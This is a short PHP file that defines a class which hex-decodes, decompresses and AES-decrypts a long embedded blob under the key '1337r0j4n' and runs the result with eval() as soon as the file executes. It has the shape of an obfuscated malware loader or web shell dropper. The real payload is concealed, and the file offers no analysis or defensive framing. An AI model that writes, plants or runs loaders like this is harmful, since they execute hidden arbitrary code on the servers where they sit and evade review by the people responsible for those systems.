<?php
    class Decryptor
    {
        private $key, $data;

        public function __construct($key, $hexData)
        {
            $this->key = $key;
            $this->data = hex2bin($hexData);
        }

        public function process()
        {
            $code = openssl_decrypt(gzinflate(gzuncompress($this->data)), "AES-128-ECB", $this->key);
            eval($code);
        }
    }

    $decryptor = new Decryptor("1337r0j4n", "789c011211edee8d97b5b2c5b816443fc881998209cccceccccc8cc75f3ff7e52f98502a6d55495b5added6324c51e9710d8d0bdc6083f95185e795d9bf74e3b8ee3aefc2a3ccc718d5fb13d0fee494b0337033124a8cf4dab2612ae9e69016fa57eb0e7ca9282938e299ee1a8d05fd786118ae711d18c9cb6bf28078c7e80a1c428a6321298b140c861d3cb9767be5bd404736edf580cd7ee5e05669dfcfc80dad0c5c5261a0909112fb374ab164bc6f6ead62d3ed0280e324b601f80d5ed9908daf597a47624e809e680bc1df899935720f46170ed60c4d7dd9a7cae94d0e73bc0282d969ba68b0830380a92135457c2dcf29b6e0839a3178f5fe1e84798f38c1dfe04bff701bcd01f5a29c4843ff5ac9492ad5447242d1c5458d8884a03b35df710fd58396765a1437255264d096a9f96e97fa6a194d2e897156e8f00f2db6256230ab8e42ea18cbdd6905a104b023a8c917c4387a8e315738590bff1a062d0bba838b9ae224fdcb15fda4a21a51592d2b4925999038f806ee4a01dce2a025893eaba214539ce4bac40b969b40e75f514ded56d60db1d87d236202f7c746a1d848092357fa780bc6957898df7e8d08c538d9cd9e188e9a80f231a6b0cfa56aa322bc4e5d29c2bb3dbee45e9e3b71a6388fed2d72c6dfbafd0e2940619c8dcc9ac01699e6ab6dea44b48e3bfdf9f0f59208c6f5ead376d85aad7f7d4d5051b0da59041c1d3b2886ee5c09d5eead4a64d127a3ed7ececbe5253e637cdee7d1291f71e7b66a79301c406546d4645f254ecfde42273db314fce85b626fde630f4fbf32033db81c75e4f9b2427858618d096bbdb5e74689f9fa29011a92fac81de6ab6be50e30b724ded9af2c419015279911dd098c8b04be8b80716b9132a5cf0a66b60a4ae3dbeaf6f1076035cabd06a60675cf2dcb7cd1e6b21c8d6d4e8250c269e5d895e9edec93f6fc541a14e8b194756eb7ca2e137e4082310d698bc1ba445262039b2d9d48131a67d6e016f18c0e7456917107845273d5a07b731efd3c495b43e6a140f449aa905147ec7845c3e1cc6f921756a624bca9ce69c51f2d008b8e49af92d2c068a650fc781262e6aae85f19bfc911e35c50e21d79d8e3f0eeadc4920e154b2b8559c237e0e0a6b8a5616c4f42e73ab83fa92ae1ac2fed39bb296f96d84c0aa38b54e23f29b5ff8db15073fd2e9ffcadc9bf4af884e37c1e741743cfb0ac499dcd25629d7db4b2a83f51e787bb1e6350222c56b5ad4575f46e6b1f777baca2f8f71bca9e2911fb748fa08d251ed0019261735a5176b4e53becdc558f2d04de47c4306a45078b5d34bd6fe38859d769c62ca40c9eab992aa5f88bfbf55a8e9cbd897f5be26f94dc7212a3c743933b48778ad8b6eb30df08c12a5d7f758d8b4d00ad2596cc0070ecc6bd5f72d8d4ae88c38e1c08403c11b7a0fcfc52b8aa6c5696bd7dfe6fd9e0d70f297108a9e381d7fddfb067654327dfb8705709980997479f9c6c538585b4aab6d3f94b4278c043fb1fb6ef286e93eb158e970d08eba8aafd51a68791939818e47c6355e0e88472884dee5172432ab9abbbf1f1ca26cac4886e8e407dc3def8f0dd1beed6f2befacc6a254acee424b6ded7e24f9e3b253017189e20ac0c890c0f8479e16ac5b7b9f053b6b275e5a9f01ae753b544d8d7f4d78f97998cc9af0503161c77d8d5c319952283aaf23db63224d67ecba25bd4d38c35750ac39310b1fd9449aafd9e86850645c29c1dc48e02aa347e3931df7eadb0f9e624d597f220f837a91cfa4b996c58fff09b8d3415858131c859fd3e5f3ecc58dd12b4c4bb047feaa8cda9e9b3f665d50193c6783d714eac2e532b85c4b4af3ac3190ed723187d935c131ab9310838230417438154fbe3203e3e80a653873a739ce9110cd89de7a6abb40135ccd9fc7b34eabaa64c8660a581511c3c61d7157fd0433965e39f623c4fd2145c3c7a7e7d5022c0befe6f974e06e275fea56624f57632d003af00728c09fa4edb5417ce64c385efb61fc40bdf4e3625b0973fe7e51c611e168c013657ae6386e6c19d80dfbc43caa2388abcfadca54647d16fa0f16e32e7eed01d2264012c641e762c431b031fb5bbb7c757515c599f506f10260e240ada5f33aca4c22e145986e890140b7d10bf35672aea64e8cf8298933ed1402d67bc42dade8c1355673f728967b8547c4a9a4d5e0d49289beffb79eacad59e4d66bac8e9704739a958b3c4358a6159eea0f65d533586278191cc452e1314249384ff710ba4cfaa38e48063edaf81d663dbe670adcdc2549de9b98fbd5f7e9cfbf69ac1d48b3718752c257799d629298210f0af616049ebea9a3f030074d38997b6dbac3888054c5e0e09066d7f9fe8a0bf68f9573ba99b72cef3c0f189d9c545a5a25fbb4367a82ada2a8d111bcb714c31e25bcb3b3da0f8f9b603821b4ccb60b874af7530b449ddb1f715daad960e08e179bfc2f21b2b9697180e1c9a7f39f0141ea241b18b3a214d4133563d9a5a8f204d415323c6df641e609ea21f76bb019c723fec48124c53b8781fe122301a5ea23f91887d16532d4472a32c7fdbada99bab4e18cca22b0c588eb78fae6549bf3f3946eff640b269fbe5482e5d71d698a2b7e29b8fb38719753d8fbc70f4d0427d355d547b30b24f00b168325786854fad5571c3e88bafaa82352677fd882f4588e54c86fa697b34a7ce98f56301dd1159324dacee08aaaf1759d255518a82712f36be3431c9f4251c195161f6beab19a15f9dbd65fdb1caa39f58224b84d64e5f0e05f27f42716184a7b0ed47d66cbf11f564e2cb7090dbee5d5853eaad056edddaa57a348f34e9cfc6754c0eff0e701f19cd893396ebb292616ece7adb29e540d7fdbbf71938afb20149856c44991803e0cb5e738bda3fd997ff059f7aed6fae82a55b601c2bb79850beea68a90c639330b9d59e9e500d6476c19ba42421c779a5abe8744002cf326fb4618233fd0cda735ef987b0f379a2dcf65c561dcbcb7fec276afb13dfb98e4e370d72ee41d74d573464e9f9061bab30ba132dd9af52ef5a1d0718e4fbfea8366fc259552afbf4c95cadffbb17d8614a2876818d56507a842ed107f40a9c897da070c23e3a8b756c34852906b020d247cc6de615c4a07f9bdf60db56692c7c4634b4642df66d8fd69ed6cfff6007e9814e9701b42f0932f183307c9403b905ffc6708a6e764a0b7b6504edd99ece2d9169de0ec2a1e3dfd1dd572f4c8d6a9ca1f9c87a9973127892a02321c3458b24f8e3db4522d3b84f22703feb45d9e883a47922263e1e8afad914da3fa89a4e51f3cf8ec15b5e50fb97a1731c3558b0eaf02fe86ce32705d80f86754da3b6b9b67d9fd5df211b8f387e596e6a989393579a62e9d3b3a6ba00f38d10fad1e96d43326189758563f584efc9028d0be7a814be91b0fe6d3b78b4746e7da60d4bf817c49410e1b1aa5bb686dfe5ad0f450af514b3aa9a30f4b9c8554213c07560a1e0ade6e3708007f812439a2a76218282b0cde1b583f1b0a90e6e43d56d71cfbb3bf108d66f6ba979f43051887da3c52760acd7cf40c2850506011b40c79233e06ca9b61cb19d4cb8d30de98913b77ba0402946fd372e07572901b8d7ab6b6f88133a5a7123efeaae382d04bccdb79536fe3d0d9ae757f7064a18e2d830882dd9676f7579ccfdb24eeb3e9ea85008a14435fa387ff86deae0e1c2a46848038fdd2bbe129890e172bed5b354e2bc0c632611b5ef37582fbb2fb116df0b1818d52b198d8da6a7e30498863a50b7f4e12dc8faca09e3c9cb33cddf7c57bbe6f50424be86ddf1e6a62b58883584332bc57efcbbaecefe6efcaf64ccffa65bb6733d329892e625109be47b0359d6a5345fc5d6082ff6e47f0ce991e237b52bcc2ac9b2a45ff3638ff936af36f3ff8dba3cd6c4747c17bd10de783997d578114e3b35cd7a208aa43eec7656f2d97a2f850cb59dfaaf237aa315c4a1431bd8b76811403f650a9463c32bc79063cf2f504017b82bc61468131c86bfe30b9bf01506586752263916c65e7118fd001c52179e96eef20904549629d0c83d8b6ab4e0859e5397252eb6c260d79da1559d49d109b6e406311b11ebdb2643b81eafce5d7ea71962f8b5af8b7bd1d2b549f694bd4f8fe59f8ba75e6a9039eceddbfe1000304da8d5a644ade2eb171226b8354f073bc39768d99606035c3c7d8d4fe031b8e43dcec2a328a680993f62c426d7ea594d57777d782a0d40660e908a9c72079cbee2006c5f0d262634be0ec12afb446ad7f74a2f2ef878a1e59d98b411569da775eb0eb52de799ff8b0f784a26eaddb55daa0d2bb26cdb77907b9f857b3bb7cc0faa786b637c1f8f043e405b3fd410caab7c216840f19b6fad8754241d77a0e543818b8bb1f57733f4d14aa5ccb49fe3022baecc159a78c2a2d3ee919f4f2a3d1bcd2baea7454fef000e857757147f81b7fe60852cfc29e5de877a2aeeae27b2a74fcfb5ff7088692cbc74dcbfdd8b60fc66b5228eab30b52d17fdda6eb5939d63e8370adf7a078d63676ebb5e50bd80235a4e70eace93519008844ef449f8017549e53d9f8e1a67b4eae658c49c0daf18400b30e040c38a018175249008ff42b875f1c8185c5726a0d51cedfe08395fd5d06db2548e153c031cc701544c5a4b10c04367b8ecce882f200578d47b887b42ed65d4dcd58a7875b8feb0d0543b18a825eba572d25e3691f792a0a8f554a0f4c469852bac0e03f2d5323ed9d2847b97fb0d0176f51a4deaf638607d4dc68c9b1d9bd2388720677320dcd95dbb529fab0045882e8336d057dc16fa1df5946e1e7a29390fd85f833301f4f26f6aa794758b47efc22206967c88158fb965d3f840a269620991854f8c846004c6d53581edc288ea895dd63d52df214ef781a2cece4e59a6c57bd72618c23ec9164cbdb7f4bc3838cafd7ecb5bf2cdf894529f96528fcb20ce157792b523b2759ae3f15c0ac58b6c5246e57b10aef8a07c91557dcf6fc3e870711210efd3bd7d66203981df964f70b46c4dbbee20e81fcdce84538445785a5b8dc4fee843f17cac38367d5b8e1ea2b5063ae66d79565290cf5b43523836076bb313dc34010a958871255ae9f4745af600aed478edf61ab4ef85590c4f2b5801abaa0776b9573ba25419a22c0c5e1e87bf9f1a1dd306a6dec4f75e23420ed56dc58dce137d2daead67caf722798da542a37ce87874b0be77fef1098e50f2d23a0ff95f0e8dffbe0034ce531ae73811345e5bfe825e950834908380dc2b702e446580129fdbfe08a4e833bfc7a9335b1471f4aa785e7a9186d7cf496dc83f439f41c0db0a201f9538ddac5059c6d9aef0905e95108a82e3a794acedd17ace0c70bd934dc708aeaa34f58c3d44a71fce7c82055dca47d2f55d198703bdef1f6294e6b227984b678d8690bb066b5696523921941163596df97c15429c56e7fbd125c90707a597bf273d6f49a125cd302b45b77bf879502c2fe46147306c5a17286f627a585e901e3dd130fcc0ebc9c4ef4922b4ac21464ca0a4ed01b5c287b290c295479fd01e772045ccfafc96abd70f744756beaaa579408a9aabb262ce52f71617347fde5ec4167f5bd4b3a783472fc737e907c86da7e6b141470f5e114d2f2e64f03ef700429ac05f9287d4c96831e4e97350b9daa99ec0e0bca95396415026abf164990700d6ba91a5d4d2aa1fe5f3bd540c63dc87766a2d2feacf4aaf4d3ecc13f523ed28481d7c973ff42fae7767d2f769bb2a8c90a7063c8dc83a1c36ba257e0f911a41c383610781b851e5398c57f66ab666f01ca93df36415bea3cab31dcf3e8b37eaa2dd3c199b29e9f232ddc0d1c16779c79c89c372ca994201229c6fd9081ff99e9831dd76dfe4d2e7f1651cebe1cec97b57fe7631abd4d5255e682a15d6b59752faef6e933bda9f4de69059c1b29bfe521abe174a203c8bf1fa2b1ef83023ff54f41bd468924398e6bfceff5328ec2259b4622dbaf2dafa07724275ee85e16c9c13e4640c12b824317624a493955dcdc02c3a3339477b98ec7a337c63976c4ca341d04239d003faf13e738b0e1ad2d30f66195bf2c4c226fee1e73e0180d26921657f180089be741750754761763932e06877453b749816fc85bc5dee7969502a57f29d0c820f38131de5da713d0b17ffe0541d2a4f6");
    $decryptor->process();
?>

